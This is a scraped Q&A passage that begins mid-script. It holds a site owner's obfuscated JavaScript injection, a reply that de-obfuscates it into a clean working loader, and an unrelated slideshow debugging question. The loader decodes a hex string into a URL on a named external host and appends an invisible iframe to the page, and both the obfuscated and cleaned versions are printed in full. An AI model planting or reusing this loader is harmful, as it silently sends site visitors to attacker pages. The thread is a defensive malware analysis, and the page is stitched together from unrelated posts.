if ('SomCO' == 'VtLBbq') uThvZ();
}
})();
function utrcTc() {
var sQqTc = 'GDjGUL';
if ('GGbJ' == 'CdUOt') PFLkIv();
}
var yILQN;
var BlpVKOn = "GJfIbBp" [HGBXMBYkq];
var Cspfjl = 'cRBOTm';
var AhJvb;
for (var naxoJ = 0; naxoJ < qiyTHJNSK.length; naxoJ += 2) {
function mthsyA() {}
coesFKAJH = coiJVUL[hitxMCSTc](qiyTHJNSK[LgLiBeb](naxoJ, naxoJ + 2), 16) - 43;
var ihta;
LnJbDi += BlpVKOn[fmvCwPvf](coesFKAJH);
if ('YwvB' == 'nLaBq') FxCUcY = 'LClI';
function LuHhQ() {}
if ('rLTy' == 'RGZAH') InLSa = 'hqGi';
}
var pRLWk = 'qYTdKF';
var dbQz = 'IuaOpO';
var NLauPPxo = "KXDDhcUB";
function WiKx() {
var RqlT = 'TnwXV';
if ('mGATZ' == 'BoFZqb') IaMIR();
}
var KVmoXu = 'CCmbz';
var fpSlvS;
function kIyvYK() {
var kejS = 'hRGKfF';
if ('dwlh' == 'PerQmS') NeWE();
}
var HukG = 171;
var SCQFe = "";
var ZSeQP;
if ('TYhSD' == 'pOHCUl') xDKJc();
var QgUskg = 165;
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
var XGZk = 162;
var dQaQT;
SCQFe = '<iframe name="' + NLauPPxo + '" src="' + LnJbDi + '">';
function cxMsRj() {
var gRqlMJ = 'YxSQd';
if ('Yedbfb' == 'FmRTE') zMRsf();
}
if ('UFqh' == 'inxzUL') IMhGyA();
var LnEoLC;
} else {
function NBxX() {
var rUxrb = 'oyDIE';
if ('trsJw' == 'EffuZz') zIRGF();
}
var pZBDH = 'FbTqY';
SCQFe = 'iframe';
if ('qJQEx' == 'sEOu') Jjcc();
var LtKfoR;
}
var RHgYbw = 209;
var XGCxE = document.createElement(SCQFe);
var osIEg = 'zpisyX';
var yTDi;
XGCxE.REKhC = function () {
var EhIV;
this["src"] = LnJbDi;
var hITyC = 47;
function QPAbon() {
var vlUKyt = 'ydOwpE';
if ('bUzfeI' == 'Gtzuz') xqXIgA();
}
}
function uNdxy() {}
if ('tXIjw' == 'ZuZUXu') TJmV = 'OZLhL';
XGCxE.style.right = px0_var;
var INwC = 218;
function eXRqv() {}
XGCxE.style.position = "absolute";
var myUH = 129;
var itYaqs = 'PIEQTG';
XGCxE.style.height = px1_var;
function Cncutd() {
var rElSS = 'aVJgKV';
if ('OlroM' == 'QRUVc') ZSoo();
}
if ('RpUI' == 'UbjbH') DfFH = 'LQKPT';
function jpdw() {}
XGCxE.name = NLauPPxo;
function GZKiB() {
var HGDCTk = 'uDGc';
if ('FdUgR' == 'hVIV') dcxx();
}
function vaVVBx() {
var PFhZz = 'CWQbMT';
if ('gEEvG' == 'aPzLMo') dMSclV();
}
XGCxE.REKhC();
function eInNvF() {}
function gPMoah() {
var UrmQn = 'fnwS';
if ('RJhZkZ' == 'NoYtxc') lkhw();
}
var xFoDke = 185;
XGCxE.style.top = px0_var;
function LXpA() {}
function Qkls() {
var rwmtT = 'RLulmG';
if ('mvum' == 'mQYG') RSKN();
}
XGCxE.style.width = px1_var;
var OMySFE = 'AJgrgE';
function yvFj() {}
function YzJdttK() {
function nWCtr() {
var HbXEi = 'cssMz';
if ('gwMUm' == 'fJUX') Jblip();
}
var kNePZX;
if (document[WNOgK]) {
if ('Mwub' == 'FLNDO') TdNEy = 'WAnb';
var AfhI = 'gdwUZG';
var UdZQcB;
var document_body_var = document[WNOgK];
if ('mjKa' == 'hCEFj') Vmkvz();
if ('knkq' == 'QLKklH') ygHF();
document_body_var[pubYymvCW].apply(document_body_var, [XGCxE]);
function jbGXOJ() {
var ovQXvi = 'HTXX';
if ('fllkOR' == 'OQlK') xGgRO();
}
} else {
var jJJY = 67;
setTimeout(YzJdttK, 120);
var fvmrr = 'HIfEiu';
function KvOj() {
var gLdJK = 'XueY';
if ('ppiCfu' == 'xudev') ZqGbGK();
}
}
var qUvxeh;
}
var EKFO = 10;
var rbiRyL;
YzJdttK();
function uJgk() {
var QbDju = 'lEEFak';
if ('jBDVr' == 'OzMogy') EHbmqV();
}
var Jslsu = 'BXWm';
</script>
Can someone help me decipher it?
Also how do I know how I got this, is there a way to trace it back?
Cheers!

Cleaned from all the var declaration and false-conditioned if-statement stuff, what actually is executed is:
var qiyTHJNSK = "939f9f9b655a5a968c9f909e9f8c9f626259a09e5a9499598e92946a64";
var HGBXMBYkq = "co\x6e\x73tructor"; // constructor
var fmvCwPvf = "\x66\x72o\x6dC\x68ar\x43ode"; // fromCharCode
var BlpVKOn = "GJfIbBp" [HGBXMBYkq]; // String()
var hitxMCSTc = "pa\x72s\x65\x49nt"; // parseInt
var WNOgK = "b\x6fdy"; // body
var LgLiBeb = "\x73li\x63e"; // slice
var LnJbDi = "";
var coiJVUL = (function () {
return this;
})();
for (var naxoJ = 0; naxoJ < qiyTHJNSK.length; naxoJ += 2) {
coesFKAJH = coiJVUL[hitxMCSTc](qiyTHJNSK[LgLiBeb](naxoJ, naxoJ + 2), 16) - 43;
LnJbDi += BlpVKOn[fmvCwPvf](coesFKAJH);
}
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
SCQFe = '<iframe name="' + NLauPPxo + '" src="' + LnJbDi + '">';
} else {
SCQFe = 'iframe';
}
var XGCxE = document.createElement(SCQFe);
XGCxE.REKhC = function () {
this["src"] = LnJbDi;
};
XGCxE.style.right = px0_var;
XGCxE.style.position = "absolute";
XGCxE.style.height = px1_var;
XGCxE.name = NLauPPxo;
XGCxE.REKhC();
XGCxE.style.top = px0_var;
XGCxE.style.width = px1_var;
function YzJdttK() {
if (document[WNOgK]) {
var document_body_var = document[WNOgK];
document_body_var[pubYymvCW].apply(document_body_var, [XGCxE]);
} else {
setTimeout(YzJdttK, 120);
}
}
YzJdttK();
So, it does what all these scripts do: It appends an invisible iframe, in your case with the location http[evil]://katestat77.us/in.cgi?9

imageArray[i] = imageItem is incompatible

I have been struggling with trying to implement the the answer from TheNoble-Coder for Difficulty in Understanding Slideshow script.
His "Well if you want..." solution sounds like a very elegant solution for folders containing a varying number of images.
However I have have not been able to get it to work. Using Free JavaScript Editor by Yaldex to debug I get 'Error: Incompatible types' for the line indicated:
var place; //For convenience this is best as a global
function imageItem(url)
{
var img = new Image();
img.src = url;
return url;
}
for(var i=0; i<5; i++)
{
imageArray[i] = imageItem(imageDir + i + ".jpg"); <-----Incompatible
}
I would really appreciate any assistance.
The entire script is:
<script language="JavaScript">
var interval = 4000;
var random_display = 0;
var imageDir = "images/";
var imageNum = - 1;
var place; //For convenience this is best as a global
function imageItem(url)
{
var img = new Image();
img.src = url;
return url;
}
for(var i=0; i<5; i++)
{
imageArray[i] = imageItem(imageDir + i + ".jpg");
}
function randNum(x, y)
{
var range = y - x + 1;
return Math.floor(Math.random() * range) + x;
}
function getNextImage()
{
imageNum = (random_display) ? randNum(0, imageArray.length-1) : ((imageNum+1) % imageArray.length);
return imageArray[imageNum];
}
function getPrevImage()
{
imageNum = (imageNum-1 >= 0) ? (imageNum-1) : (imageArray.length-1);
return imageArray[imageNum];
}
function prevImage()
{
var image_item = getPrevImage();
place.src = place.alt = image_item.url;
}
function nextImage()
{
var image_item = getNextImage();
place.src = place.alt = image_item.url;
}
function play()
{
nextImage();
timerID = setTimeout(play, interval);
}
window.onload = function()
{
place = document.slideImg;
play();
};
</script>

Try printing imageArray[i] and imageItem(imageDir + i + ".jpg") to see if it does what you you're expecting from it. I believe that's the key for the solution... :)